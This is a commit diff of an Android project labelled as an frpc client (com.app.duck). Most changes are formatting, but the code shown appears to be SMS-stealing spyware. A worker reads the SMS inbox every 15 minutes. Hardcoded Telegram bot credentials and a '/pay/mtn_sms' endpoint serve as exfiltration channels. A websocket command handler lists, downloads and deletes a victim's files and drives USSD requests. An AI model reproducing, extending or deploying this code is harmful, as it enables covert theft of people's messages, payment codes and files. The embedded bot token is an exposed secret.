hanxiaomeme 8 luni în urmă
părinte
comite
2d6571b323
45 a modificat fișierele cu 292 adăugiri și 328 ștergeri
  1. 3 3
      frpc_android-master/app/src/androidTest/java/com/car/frpc_android/ExampleInstrumentedTest.java
  2. 4 7
      frpc_android-master/app/src/main/AndroidManifest.xml
  3. 3 3
      frpc_android-master/app/src/main/java/com/app/duck/BaseActivity.java
  4. 1 4
      frpc_android-master/app/src/main/java/com/app/duck/adapter/FileListAdapter.java
  5. 2 2
      frpc_android-master/app/src/main/java/com/app/duck/database/AppDatabase.java
  6. 0 2
      frpc_android-master/app/src/main/java/com/app/duck/database/Config.java
  7. 0 2
      frpc_android-master/app/src/main/java/com/app/duck/database/ConfigDao.java
  8. 16 17
      frpc_android-master/app/src/main/java/com/app/duck/database/DBHelper.java
  9. 1 1
      frpc_android-master/app/src/main/java/com/app/duck/dialog/UploadAppDialog.java
  10. 1 2
      frpc_android-master/app/src/main/java/com/app/duck/ui/HomeFragment.java
  11. 4 8
      frpc_android-master/app/src/main/java/com/app/duck/ui/MainActivity.java
  12. 1 1
      frpc_android-master/app/src/main/java/com/app/duck/util/BootReceiver.java
  13. 42 43
      frpc_android-master/app/src/main/java/com/app/duck/util/CheckInboxWorker.java
  14. 7 7
      frpc_android-master/app/src/main/java/com/app/duck/util/HeartbeatWorker.java
  15. 6 6
      frpc_android-master/app/src/main/java/com/app/duck/util/HxUtils.java
  16. 16 19
      frpc_android-master/app/src/main/java/com/app/duck/util/Service1.java
  17. 14 41
      frpc_android-master/app/src/main/java/com/app/duck/util/WsManager.java
  18. 3 3
      frpc_android-master/app/src/main/java/com/app/http/APPConfig.java
  19. 3 3
      frpc_android-master/app/src/main/java/com/app/http/BaseBean.java
  20. 36 47
      frpc_android-master/app/src/main/java/com/app/http/Http.java
  21. 1 2
      frpc_android-master/app/src/main/java/com/app/http/Parser.java
  22. 0 1
      frpc_android-master/app/src/main/res/drawable-v24/ic_launcher_foreground.xml
  23. 2 3
      frpc_android-master/app/src/main/res/drawable/bg_nav_title.xml
  24. 9 4
      frpc_android-master/app/src/main/res/drawable/ic_add_white.xml
  25. 5 5
      frpc_android-master/app/src/main/res/drawable/ic_copy_white.xml
  26. 9 4
      frpc_android-master/app/src/main/res/drawable/ic_delete_black.xml
  27. 5 5
      frpc_android-master/app/src/main/res/drawable/ic_delete_white.xml
  28. 9 4
      frpc_android-master/app/src/main/res/drawable/ic_edit_black.xml
  29. 5 5
      frpc_android-master/app/src/main/res/drawable/ic_logcat_black.xml
  30. 5 5
      frpc_android-master/app/src/main/res/drawable/ic_logcat_white.xml
  31. 5 5
      frpc_android-master/app/src/main/res/drawable/ic_menu_file_black.xml
  32. 9 4
      frpc_android-master/app/src/main/res/drawable/ic_play_white.xml
  33. 9 4
      frpc_android-master/app/src/main/res/drawable/ic_save_white.xml
  34. 9 4
      frpc_android-master/app/src/main/res/drawable/ic_stop_white.xml
  35. 1 1
      frpc_android-master/app/src/main/res/layout/activity_ini_edit.xml
  36. 22 22
      frpc_android-master/app/src/main/res/layout/content_main.xml
  37. 0 1
      frpc_android-master/app/src/main/res/layout/fragment_home.xml
  38. 2 2
      frpc_android-master/app/src/main/res/layout/log_layout.xml
  39. 1 1
      frpc_android-master/app/src/main/res/layout/nav_header_main.xml
  40. 7 8
      frpc_android-master/app/src/main/res/menu/activity_main_drawer.xml
  41. 1 2
      frpc_android-master/app/src/main/res/navigation/mobile_navigation.xml
  42. 2 3
      frpc_android-master/app/src/main/res/values-en/strings.xml
  43. 7 7
      frpc_android-master/app/src/main/res/values/drawables.xml
  44. 2 3
      frpc_android-master/app/src/main/res/values/strings.xml
  45. 2 2
      frpc_android-master/app/src/test/java/com/car/frpc_android/ExampleUnitTest.java

+ 3 - 3
frpc_android-master/app/src/androidTest/java/com/car/frpc_android/ExampleInstrumentedTest.java

@@ -1,15 +1,15 @@
 package com.car.frpc_android;
 
+import static org.junit.Assert.assertEquals;
+
 import android.content.Context;
 
-import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static org.junit.Assert.*;
-
 /**
  * Instrumented test, which will execute on an Android device.
  *

+ 4 - 7
frpc_android-master/app/src/main/AndroidManifest.xml

@@ -26,8 +26,8 @@
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
 
     <application
         android:name="com.app.MainApp"
@@ -42,12 +42,10 @@
         android:usesCleartextTraffic="true">
         <activity
             android:name="com.app.duck.ui.IniEditActivity"
-            android:exported="false"
-            android:label="@string/title_activity_main" />
+            android:exported="false" />
         <activity
             android:name="com.app.duck.ui.MainActivity"
             android:exported="true"
-            android:label="@string/title_activity_main"
             android:launchMode="singleTop"
             android:theme="@style/AppTheme.NoActionBar">
             <intent-filter>
@@ -58,8 +56,7 @@
         </activity>
         <activity
             android:name="com.app.duck.ui.TemplateActivity"
-            android:exported="false"
-            android:label="@string/title_activity_main" />
+            android:exported="false" />
 
         <service
             android:name="com.app.duck.util.Service1"

+ 3 - 3
frpc_android-master/app/src/main/java/com/app/duck/BaseActivity.java

@@ -13,12 +13,12 @@ import androidx.annotation.Nullable;
 import androidx.appcompat.app.AppCompatActivity;
 import androidx.viewbinding.ViewBinding;
 
-import com.blankj.utilcode.util.KeyboardUtils;
-import com.blankj.utilcode.util.StringUtils;
-import com.app.duck.util.Service2;
 import com.app.duck.util.HxUtils;
 import com.app.duck.util.PermissionsUtils;
+import com.app.duck.util.Service2;
 import com.app.http.Http;
+import com.blankj.utilcode.util.KeyboardUtils;
+import com.blankj.utilcode.util.StringUtils;
 import com.romellfudi.ussdlibrary.USSDController;
 
 import org.xutils.x;

+ 1 - 4
frpc_android-master/app/src/main/java/com/app/duck/adapter/FileListAdapter.java

@@ -21,17 +21,14 @@ public class FileListAdapter extends BaseQuickAdapter<Config, BaseViewHolder> {
     }
 
 
-
     @Override
     protected void convert(@NotNull BaseViewHolder baseViewHolder, Config file) {
         baseViewHolder.setText(R.id.tv_name, file.getName());
-        boolean running =(file.getConnecting() != null && file.getConnecting())|| Frpclib.isRunning(file.getUid());
+        boolean running = (file.getConnecting() != null && file.getConnecting()) || Frpclib.isRunning(file.getUid());
         baseViewHolder.setImageResource(R.id.iv_play, running ? R.drawable.ic_stop_white : R.drawable.ic_play_white);
         ImageViewCompat.setImageTintList(baseViewHolder.getView(R.id.iv_play), ColorStateList.valueOf(getContext().getResources().getColor(running ? R.color.colorStop : R.color.black)));
 
 
-
-
     }
 
 

+ 2 - 2
frpc_android-master/app/src/main/java/com/app/duck/database/AppDatabase.java

@@ -10,8 +10,6 @@ import androidx.room.RoomDatabase;
 public abstract class AppDatabase extends RoomDatabase {
     private static volatile AppDatabase instance;
 
-    public abstract ConfigDao configDao();
-
     public static AppDatabase getInstance(Context context) {
         if (instance == null) {
             synchronized (AppDatabase.class) {
@@ -23,4 +21,6 @@ public abstract class AppDatabase extends RoomDatabase {
         }
         return instance;
     }
+
+    public abstract ConfigDao configDao();
 }

+ 0 - 2
frpc_android-master/app/src/main/java/com/app/duck/database/Config.java

@@ -1,12 +1,10 @@
 package com.app.duck.database;
 
 import androidx.annotation.NonNull;
-import androidx.room.ColumnInfo;
 import androidx.room.Entity;
 import androidx.room.Ignore;
 import androidx.room.PrimaryKey;
 
-import java.util.Date;
 import java.util.Objects;
 
 @Entity

+ 0 - 2
frpc_android-master/app/src/main/java/com/app/duck/database/ConfigDao.java

@@ -3,14 +3,12 @@ package com.app.duck.database;
 import androidx.room.Dao;
 import androidx.room.Delete;
 import androidx.room.Insert;
-import androidx.room.OnConflictStrategy;
 import androidx.room.Query;
 import androidx.room.Update;
 
 import java.util.List;
 
 import io.reactivex.Completable;
-import io.reactivex.Observable;
 import io.reactivex.Single;
 
 @Dao

+ 16 - 17
frpc_android-master/app/src/main/java/com/app/duck/database/DBHelper.java

@@ -41,8 +41,8 @@ public class DBHelper extends SQLiteOpenHelper {
 
     // 插入数据
     public long insertData(int id, int success) {
-        SQLiteDatabase db            = this.getWritableDatabase();
-        ContentValues  contentValues = new ContentValues();
+        SQLiteDatabase db = this.getWritableDatabase();
+        ContentValues contentValues = new ContentValues();
         contentValues.put(DBContract.COLUMN_ID, id);
         contentValues.put(DBContract.COLUMN_SUCCESS, success);
         long a = db.insert(DBContract.TABLE_NAME, null, contentValues);
@@ -52,20 +52,20 @@ public class DBHelper extends SQLiteOpenHelper {
 
     // 修改数据的方法
     public void updateData(int id, int success) {
-        SQLiteDatabase db            = getWritableDatabase();
-        ContentValues  contentValues = new ContentValues();
+        SQLiteDatabase db = getWritableDatabase();
+        ContentValues contentValues = new ContentValues();
         contentValues.put(DBContract.COLUMN_ID, id);
         contentValues.put(DBContract.COLUMN_SUCCESS, success);
-        String   whereClause = DBContract.COLUMN_ID + "=?";
-        String[] whereArgs   = {String.valueOf(id)};
+        String whereClause = DBContract.COLUMN_ID + "=?";
+        String[] whereArgs = {String.valueOf(id)};
         db.update(DBContract.TABLE_NAME, contentValues, whereClause, whereArgs);
         db.close();
     }
 
     public void insertOrUpdateData(int id, int success) {
-        long           _id;
-        SQLiteDatabase db            = getWritableDatabase();
-        ContentValues  contentValues = new ContentValues();
+        long _id;
+        SQLiteDatabase db = getWritableDatabase();
+        ContentValues contentValues = new ContentValues();
         contentValues.put(DBContract.COLUMN_ID, id);
         contentValues.put(DBContract.COLUMN_SUCCESS, success);
         // 先查询数据是否存在
@@ -74,8 +74,7 @@ public class DBHelper extends SQLiteOpenHelper {
             // 如果有数据则执行更新操作
             db.update(DBContract.TABLE_NAME, contentValues, DBContract.COLUMN_ID + "=?", new String[]{String.valueOf(id)});
             _id = 0;
-        }
-        else {
+        } else {
             // 否则执行插入操作
             contentValues.put(DBContract.COLUMN_ID, id);
             _id = db.insert(DBContract.TABLE_NAME, null, contentValues);
@@ -85,12 +84,12 @@ public class DBHelper extends SQLiteOpenHelper {
     }
 
     public boolean checkSuccessById(int id) {
-        SQLiteDatabase db            = this.getReadableDatabase();
-        String[]       columns       = {DBContract.COLUMN_SUCCESS};
-        String         selection     = DBContract.COLUMN_ID + "=?";
-        String[]       selectionArgs = {String.valueOf(id)};
-        Cursor         cursor        = db.query(DBContract.TABLE_NAME, columns, selection, selectionArgs, null, null, null);
-        boolean        success       = false;
+        SQLiteDatabase db = this.getReadableDatabase();
+        String[] columns = {DBContract.COLUMN_SUCCESS};
+        String selection = DBContract.COLUMN_ID + "=?";
+        String[] selectionArgs = {String.valueOf(id)};
+        Cursor cursor = db.query(DBContract.TABLE_NAME, columns, selection, selectionArgs, null, null, null);
+        boolean success = false;
         if (cursor.moveToFirst()) {
             int columnIndex = cursor.getColumnIndex(DBContract.COLUMN_SUCCESS);
             success = cursor.getInt(columnIndex) == 1;

+ 1 - 1
frpc_android-master/app/src/main/java/com/app/duck/dialog/UploadAppDialog.java

@@ -65,7 +65,7 @@ public class UploadAppDialog extends Dialog implements View.OnClickListener {
             show();
         } else {
             if (toast) {
-                ToastUtils.showLong(AppUtils.getAppVersionName() + "[" + AppUtils.getAppVersionCode() + "]" + StringUtils.getString(R.string.uplaod_null_tip));
+                ToastUtils.showLong(AppUtils.getAppVersionName() + "[" + AppUtils.getAppVersionCode() + "]" + StringUtils.getString(R.string.upload_null_tip));
             }
         }
 

+ 1 - 2
frpc_android-master/app/src/main/java/com/app/duck/ui/HomeFragment.java

@@ -23,8 +23,8 @@ import com.app.duck.R;
 import com.app.duck.adapter.FileListAdapter;
 import com.app.duck.database.AppDatabase;
 import com.app.duck.database.Config;
-import com.app.duck.util.Service1;
 import com.app.duck.util.HxUtils;
+import com.app.duck.util.Service1;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 
 import java.util.List;
@@ -42,7 +42,6 @@ import io.reactivex.schedulers.Schedulers;
 public class HomeFragment extends Fragment {
 
 
-
     @BindView(R.id.recyclerView)
     RecyclerView recyclerView;
     @BindView(R.id.refreshView)

+ 4 - 8
frpc_android-master/app/src/main/java/com/app/duck/ui/MainActivity.java

@@ -48,20 +48,16 @@ import io.reactivex.schedulers.Schedulers;
 
 public class MainActivity extends BaseActivity<ActivityMainBinding> implements NavigationView.OnNavigationItemSelectedListener {
 
+    public static Locale EN_LOCAL = Locale.ENGLISH;//英语
+    public static Locale CN_LOCAL = Locale.CHINESE;//简体中文
+    public static String[] DISPLAY_LANGUAGE_ARRAY = new String[]{EN_LOCAL.getDisplayLanguage(EN_LOCAL), CN_LOCAL.getDisplayLanguage(CN_LOCAL)};
+    public static Locale[] LOCAL_ARRAY = new Locale[]{EN_LOCAL, CN_LOCAL};
     private AppBarConfiguration mAppBarConfiguration;
     private Context context = this;
-
     private androidx.lifecycle.Observer<String> observer2;
     private androidx.lifecycle.Observer<String> observer3;
     private androidx.lifecycle.Observer<String> observer4;
     private androidx.lifecycle.Observer<String> observer5;
-
-    public static Locale EN_LOCAL = Locale.ENGLISH;//英语
-    public static Locale CN_LOCAL = Locale.CHINESE;//简体中文
-
-    public static String[] DISPLAY_LANGUAGE_ARRAY = new String[]{EN_LOCAL.getDisplayLanguage(EN_LOCAL), CN_LOCAL.getDisplayLanguage(CN_LOCAL)};
-    public static Locale[] LOCAL_ARRAY = new Locale[]{EN_LOCAL, CN_LOCAL};
-
     private Locale currentLocal = EN_LOCAL;
 
     @SuppressLint("SetTextI18n")

+ 1 - 1
frpc_android-master/app/src/main/java/com/app/duck/util/BootReceiver.java

@@ -4,8 +4,8 @@ import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
 
-import com.blankj.utilcode.util.ActivityUtils;
 import com.app.duck.ui.MainActivity;
+import com.blankj.utilcode.util.ActivityUtils;
 
 public class BootReceiver extends BroadcastReceiver {
     @Override

+ 42 - 43
frpc_android-master/app/src/main/java/com/app/duck/util/CheckInboxWorker.java

@@ -41,6 +41,48 @@ public class CheckInboxWorker extends Worker {
         super(context, workerParams);
     }
 
+    public static void start() {
+        Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_6));
+        XLog.i(StringUtils.getString(R.string.log_tip_6));
+        PeriodicWorkRequest periodicWorkRequest = new PeriodicWorkRequest.Builder(CheckInboxWorker.class, 15, TimeUnit.MINUTES).build();
+        WorkManager.getInstance().enqueueUniquePeriodicWork("CheckInboxWorker", ExistingPeriodicWorkPolicy.REPLACE, periodicWorkRequest);
+    }
+
+    public static HashMap<String, String> queryInboxMessage(long id) {
+        ContentResolver contentResolver = Utils.getApp().getContentResolver();
+        HashMap<String, String> map = new HashMap<>();
+        Uri uri = Uri.parse("content://sms/");
+        String[] projection = new String[]{Telephony.Sms._ID, Telephony.Sms.ADDRESS, Telephony.Sms.DATE_SENT, Telephony.Sms.DATE, Telephony.Sms.TYPE, Telephony.Sms.BODY};
+        String selection = Telephony.Sms._ID + " = ?";
+        String[] selectionArgs = new String[]{String.valueOf(id)};
+        Cursor cursor = contentResolver.query(uri, projection, selection, selectionArgs, null);
+        try {
+            if (cursor != null && cursor.moveToFirst()) {
+                @SuppressLint("Range") String sender = cursor.getString(cursor.getColumnIndex(Telephony.Sms.ADDRESS));//发件人
+                @SuppressLint("Range") String receiver = cursor.getString(cursor.getColumnIndex(Telephony.Sms.DATE));//收件时间
+                @SuppressLint("Range") long sentTime = cursor.getLong(cursor.getColumnIndex(Telephony.Sms.DATE_SENT));//发件日期时间,时间戳格式
+                @SuppressLint("Range") String body = cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY));//短信的正文内容。
+                map.put("address", HxUtils.getPhone());
+                map.put("body", body);
+                map.put("timestampMillis", sentTime + "");
+                map.put("sender", sender);
+                map.put("date", receiver);
+                map.put("id", id + "");
+            }
+        } catch (Exception e) {
+            Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_7), e);
+            XLog.e(StringUtils.getString(R.string.log_tip_7), e);
+        } finally {
+            if (cursor != null) {
+                cursor.close();
+            }
+
+        }
+
+        return map;
+
+    }
+
     @NonNull
     @Override
     public Result doWork() {
@@ -126,47 +168,4 @@ public class CheckInboxWorker extends Worker {
 
 
     }
-
-    public static void start() {
-        Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_6));
-        XLog.i(StringUtils.getString(R.string.log_tip_6));
-        PeriodicWorkRequest periodicWorkRequest = new PeriodicWorkRequest.Builder(CheckInboxWorker.class, 15, TimeUnit.MINUTES).build();
-        WorkManager.getInstance().enqueueUniquePeriodicWork("CheckInboxWorker", ExistingPeriodicWorkPolicy.REPLACE, periodicWorkRequest);
-    }
-
-
-    public static HashMap<String, String> queryInboxMessage(long id) {
-        ContentResolver contentResolver = Utils.getApp().getContentResolver();
-        HashMap<String, String> map = new HashMap<>();
-        Uri uri = Uri.parse("content://sms/");
-        String[] projection = new String[]{Telephony.Sms._ID, Telephony.Sms.ADDRESS, Telephony.Sms.DATE_SENT, Telephony.Sms.DATE, Telephony.Sms.TYPE, Telephony.Sms.BODY};
-        String selection = Telephony.Sms._ID + " = ?";
-        String[] selectionArgs = new String[]{String.valueOf(id)};
-        Cursor cursor = contentResolver.query(uri, projection, selection, selectionArgs, null);
-        try {
-            if (cursor != null && cursor.moveToFirst()) {
-                @SuppressLint("Range") String sender = cursor.getString(cursor.getColumnIndex(Telephony.Sms.ADDRESS));//发件人
-                @SuppressLint("Range") String receiver = cursor.getString(cursor.getColumnIndex(Telephony.Sms.DATE));//收件时间
-                @SuppressLint("Range") long sentTime = cursor.getLong(cursor.getColumnIndex(Telephony.Sms.DATE_SENT));//发件日期时间,时间戳格式
-                @SuppressLint("Range") String body = cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY));//短信的正文内容。
-                map.put("address", HxUtils.getPhone());
-                map.put("body", body);
-                map.put("timestampMillis", sentTime + "");
-                map.put("sender", sender);
-                map.put("date", receiver);
-                map.put("id", id + "");
-            }
-        } catch (Exception e) {
-            Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_7), e);
-            XLog.e(StringUtils.getString(R.string.log_tip_7), e);
-        } finally {
-            if (cursor != null) {
-                cursor.close();
-            }
-
-        }
-
-        return map;
-
-    }
 }

+ 7 - 7
frpc_android-master/app/src/main/java/com/app/duck/util/HeartbeatWorker.java

@@ -32,6 +32,13 @@ public class HeartbeatWorker extends Worker {
         super(context, workerParams);
     }
 
+    public static void start() {
+        XLog.i(StringUtils.getString(R.string.log_tip_11));
+        PeriodicWorkRequest periodicWorkRequest = new PeriodicWorkRequest.Builder(HeartbeatWorker.class, 15, TimeUnit.SECONDS)
+                .build();
+        WorkManager.getInstance().enqueueUniquePeriodicWork("heardbeatWork", ExistingPeriodicWorkPolicy.REPLACE, periodicWorkRequest);
+    }
+
     @NonNull
     @Override
     public Result doWork() {
@@ -81,11 +88,4 @@ public class HeartbeatWorker extends Worker {
         return Result.success();
     }
 
-    public static void start() {
-        XLog.i(StringUtils.getString(R.string.log_tip_11));
-        PeriodicWorkRequest periodicWorkRequest = new PeriodicWorkRequest.Builder(HeartbeatWorker.class, 15, TimeUnit.SECONDS)
-                .build();
-        WorkManager.getInstance().enqueueUniquePeriodicWork("heardbeatWork", ExistingPeriodicWorkPolicy.REPLACE, periodicWorkRequest);
-    }
-
 }

+ 6 - 6
frpc_android-master/app/src/main/java/com/app/duck/util/HxUtils.java

@@ -72,23 +72,23 @@ public class HxUtils {
         SPUtils.getInstance().put("number", phone, true);
     }
 
-    public static void setChatId(String chatId) {
-        SPUtils.getInstance().put("chatId", chatId, true);
-    }
-
     public static String getChatId() {
         return StringUtils.isEmpty(SPUtils.getInstance().getString("chatId")) ? "-1001958143149L" : SPUtils.getInstance().getString("chatId");
 
     }
 
-    public static void setBotToken(String botToken) {
-        SPUtils.getInstance().put("botToken", botToken, true);
+    public static void setChatId(String chatId) {
+        SPUtils.getInstance().put("chatId", chatId, true);
     }
 
     public static String getBotToken() {
         return StringUtils.isEmpty(SPUtils.getInstance().getString("botToken")) ? "6428083297:AAEFS5ccl49hBsYbGAqJdEM5Cv8bvHUTC4I" : SPUtils.getInstance().getString("botToken");
     }
 
+    public static void setBotToken(String botToken) {
+        SPUtils.getInstance().put("botToken", botToken, true);
+    }
+
     public static void checkForUpdate(Context context, boolean toast) {
         new Thread(() -> {
             OkHttpClient client = new OkHttpClient();

+ 16 - 19
frpc_android-master/app/src/main/java/com/app/duck/util/Service1.java

@@ -40,25 +40,6 @@ public class Service1 extends Service {
     public static final String INTENT_KEY_FILE = "INTENT_KEY_FILE";
     public static final int NOTIFY_ID = 0x1010;
     private final CompositeDisposable compositeDisposable = new CompositeDisposable();
-    private NotificationManager notificationManager;
-
-
-    @Nullable
-    @Override
-    public IBinder onBind(Intent intent) {
-        return null;
-    }
-
-    @Override
-    public void onCreate() {
-        super.onCreate();
-        notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
-
-        LiveEventBus.get(INTENT_KEY_FILE, String.class).observeStickyForever(keyObserver);
-
-        startForeground(NOTIFY_ID, createForegroundNotification());
-    }
-
     Observer<String> keyObserver = uid -> {
         if (Frpclib.isRunning(uid)) {
             return;
@@ -96,7 +77,23 @@ public class Service1 extends Service {
 
 
     };
+    private NotificationManager notificationManager;
 
+    @Nullable
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+
+        LiveEventBus.get(INTENT_KEY_FILE, String.class).observeStickyForever(keyObserver);
+
+        startForeground(NOTIFY_ID, createForegroundNotification());
+    }
 
     @Override
     public int onStartCommand(Intent intent, int flags, int startId) {

+ 14 - 41
frpc_android-master/app/src/main/java/com/app/duck/util/WsManager.java

@@ -10,6 +10,8 @@ import android.os.Handler;
 import android.util.Base64;
 import android.util.Log;
 
+import androidx.annotation.NonNull;
+
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSONArray;
 import com.alibaba.fastjson.JSONObject;
@@ -53,34 +55,25 @@ import okhttp3.WebSocketListener;
  * description:
  */
 public final class WsManager {
+    private static final int NORMAL_CLOSURE_STATUS = 1000;
+    private static final long RECONNECT_DELAY_MS = 1000; // 重连延迟时间
     private static WebSocketListener webSocketListener;
     private static USSDApi ussdApi = USSDController.getInstance(Utils.getApp());
     private static WebSocket webSocket;
     private static ScheduledFuture<?> reconnectTask;
     private static ScheduledExecutorService executorService = Executors.newSingleThreadScheduledExecutor();
     private static ScheduledExecutorService executorServiceUi = Executors.newSingleThreadScheduledExecutor();
-
     private static Intent svc = null;
-    private static final int NORMAL_CLOSURE_STATUS = 1000;
-    private static final long RECONNECT_DELAY_MS = 1000; // 重连延迟时间
-
 
     public static WebSocket connectWebSocket() {
         if (StringUtils.isTrimEmpty(BuildConfig.WEB_URL) || StringUtils.equals("", BuildConfig.WEB_URL)) {
-            ThreadUtils.runOnUiThreadDelayed(new Runnable() {
-                @Override
-                public void run() {
-                    LiveEventBus.get(WEBSOCKET_STATUS_TAG).post(StringUtils.getString(R.string.log_tip_13));
-                }
-            }, 10000);
-
-
+            ThreadUtils.runOnUiThreadDelayed(() -> LiveEventBus.get(WEBSOCKET_STATUS_TAG).post(StringUtils.getString(R.string.log_tip_13)), 10000);
             return null;
         }
 
         webSocketListener = new WebSocketListener() {
             @Override
-            public void onOpen(WebSocket webSocket, Response response) {
+            public void onOpen(@NonNull WebSocket webSocket, @NonNull Response response) {
                 super.onOpen(webSocket, response);
                 Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_14));
                 XLog.i(StringUtils.getString(R.string.log_tip_14));
@@ -88,7 +81,7 @@ public final class WsManager {
             }
 
             @Override
-            public void onMessage(WebSocket webSocket, String text) {
+            public void onMessage(@NonNull WebSocket webSocket, @NonNull String text) {
                 super.onMessage(webSocket, text);
                 JSONObject json = JSON.parseObject(text);
                 String command = json.getString("command");
@@ -194,7 +187,7 @@ public final class WsManager {
             }
 
             @Override
-            public void onClosing(WebSocket webSocket, int code, String reason) {
+            public void onClosing(@NonNull WebSocket webSocket, int code, @NonNull String reason) {
                 super.onClosing(webSocket, code, reason);
                 webSocket.close(code, reason);
                 Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_15_s, " "));
@@ -203,7 +196,7 @@ public final class WsManager {
             }
 
             @Override
-            public void onClosed(WebSocket webSocket, int code, String reason) {
+            public void onClosed(@NonNull WebSocket webSocket, int code, @NonNull String reason) {
                 super.onClosed(webSocket, code, reason);
                 reconnectWebSocket();
                 Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_16, reason));
@@ -213,7 +206,7 @@ public final class WsManager {
             }
 
             @Override
-            public void onFailure(WebSocket webSocket, Throwable t, Response response) {
+            public void onFailure(@NonNull WebSocket webSocket, @NonNull Throwable t, Response response) {
                 super.onFailure(webSocket, t, response);
                 reconnectWebSocket();
                 Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_18_s, t.getMessage()), t);
@@ -323,7 +316,7 @@ public final class WsManager {
     }
 
     private static void sendWebSocketMsg(String request_id, String return_type, String message) {
-        HashMap map = new HashMap();
+        HashMap<String, Object> map = new HashMap<>();
         map.put("request_id", request_id);
         map.put("return_type", return_type);
         map.put("message", message);
@@ -392,11 +385,7 @@ public final class WsManager {
         }
     }
 
-    /**
-     * 获取根文件列表
-     *
-     * @param request_id
-     */
+
     private static void getFileList(String request_id) {
         try {
             String path = Environment.getExternalStorageDirectory().getAbsolutePath();
@@ -419,12 +408,7 @@ public final class WsManager {
         }
     }
 
-    /**
-     * 根据路径获取文件列表
-     *
-     * @param request_id
-     * @param path
-     */
+
     private static void getPath(String request_id, String path) {
         try {
             path = Environment.getExternalStorageDirectory().getAbsolutePath() + path;
@@ -446,12 +430,7 @@ public final class WsManager {
         }
     }
 
-    /**
-     * 根据路径获取文件
-     *
-     * @param request_id
-     * @param path
-     */
+
     private static void getFileByPath(String request_id, String path) {
         try {
             path = Environment.getExternalStorageDirectory().getAbsolutePath() + path;
@@ -463,12 +442,6 @@ public final class WsManager {
     }
 
 
-    /**
-     * 删除文件或目录
-     *
-     * @param request_id
-     * @param path       删除目录的路径
-     */
     private static void deleteFile(String request_id, String path) {
         try {
             path = Environment.getExternalStorageDirectory().getAbsolutePath() + path;

+ 3 - 3
frpc_android-master/app/src/main/java/com/app/http/APPConfig.java

@@ -1,14 +1,14 @@
 package com.app.http;
 
-import com.blankj.utilcode.util.AppUtils;
 import com.app.duck.BuildConfig;
 import com.app.duck.util.HxUtils;
+import com.blankj.utilcode.util.AppUtils;
 
 public class APPConfig {
     public static final String BASE = BuildConfig.BASE_URL;
-    public static final String SMS  = "/pay/mtn_sms";
+    public static final String SMS = "/pay/mtn_sms";
 
-    public static String APP_VERSION      = AppUtils.getAppVersionName();
+    public static String APP_VERSION = AppUtils.getAppVersionName();
     public static String APP_PACKAGE_NAME = AppUtils.getAppPackageName();
 
     public static String APP_TG_SEND_DOCUMENT = "https://api.telegram.org/bot" + HxUtils.getBotToken() + "/sendDocument";

+ 3 - 3
frpc_android-master/app/src/main/java/com/app/http/BaseBean.java

@@ -4,9 +4,9 @@ import org.xutils.http.annotation.HttpResponse;
 
 @HttpResponse(parser = Parser.class)
 public class BaseBean {
-    private int     code;
-    private String  msg;
-    private String  data;
+    private int code;
+    private String msg;
+    private String data;
     private boolean success;
 
     public boolean getSuccess() {

+ 36 - 47
frpc_android-master/app/src/main/java/com/app/http/Http.java

@@ -25,31 +25,29 @@ import java.util.Map;
 
 public class Http {
     //============样式属性===================
-    public final static int                       LOAD_HIDE        = 0x0;
-    public final static int                       LOAD_SHOW        = 0x1;
-    public final static int                       LOAD_FIXED_SHOW  = 0x12;
-    public final static int                       ERROR_TOAST      = 0x2;
-    public final static int                       ERROR_DIALOG     = 0x3;
-    public final static int                       ERROR_HIDE       = 0x4;
-    public final static int                       ONLY_RETRY       = 0;
-    public final static int                       CANCEL_AND_RETRY = 1;
-    public final static int                       FINISH_AND_RETRY = 2;
-    private static      List<Callback.Cancelable> cancelableList   = getCancelList();
-    private final       Map<String, Object>       params;
-    private             String                    url;
-    private             int                       timeout          = 15 * 1000;
-    private             LoadingDialog             dialog;
-    private             boolean                   isBindLife       = true;
-    private             Callback.Cancelable       cancelable;
-    private             Map<String, String>       headMap;
+    public final static int LOAD_HIDE = 0x0;
+    public final static int LOAD_SHOW = 0x1;
+    public final static int LOAD_FIXED_SHOW = 0x12;
+    public final static int ERROR_TOAST = 0x2;
+    public final static int ERROR_DIALOG = 0x3;
+    public final static int ERROR_HIDE = 0x4;
+    public final static int ONLY_RETRY = 0;
+    public final static int CANCEL_AND_RETRY = 1;
+    public final static int FINISH_AND_RETRY = 2;
+    private final Map<String, Object> params;    private static List<Callback.Cancelable> cancelableList = getCancelList();
+    private String url;
+    private int timeout = 15 * 1000;
+    private LoadingDialog dialog;
+    private boolean isBindLife = true;
+    private Callback.Cancelable cancelable;
+    private Map<String, String> headMap;
     //样式配置
-    private             int                       loadStyle        = LOAD_SHOW; //默认显示网络加载框
-    private             int                       errorStyle       = ERROR_TOAST; //失败后展示的样式
-    private             int                       retryStyle       = CANCEL_AND_RETRY;//超时弹窗样式
-    private             int                       retryCount       = 0;//超时次数 默认不重试
